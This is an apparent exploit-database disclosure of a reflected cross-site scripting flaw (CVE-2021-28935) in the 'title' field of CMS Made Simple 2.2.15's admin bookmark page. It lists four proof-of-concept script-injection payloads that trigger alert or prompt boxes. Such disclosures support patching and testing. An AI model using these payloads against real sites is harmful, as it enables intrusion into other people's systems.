CMS Made Simple 2.2.15 Cross Site Scripting

`# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)  
# Date: 2021/03/19  
# Exploit Author: bt0  
# Vendor Homepage: http://www.cmsmadesimple.org/  
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip  
# Version: 2.2.15  
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935  
  
-----------------------------------------------------------  
  
If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field  
  
Reflected XSS in /admin/addbookmark.php  
  
Some payloads that works:  
  
"><script>prompt(1)</script><"  
"><script>alert(1)</script><"  
63311';alert(1)//812  
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>  
  
------------------------------------------------------------  
  
`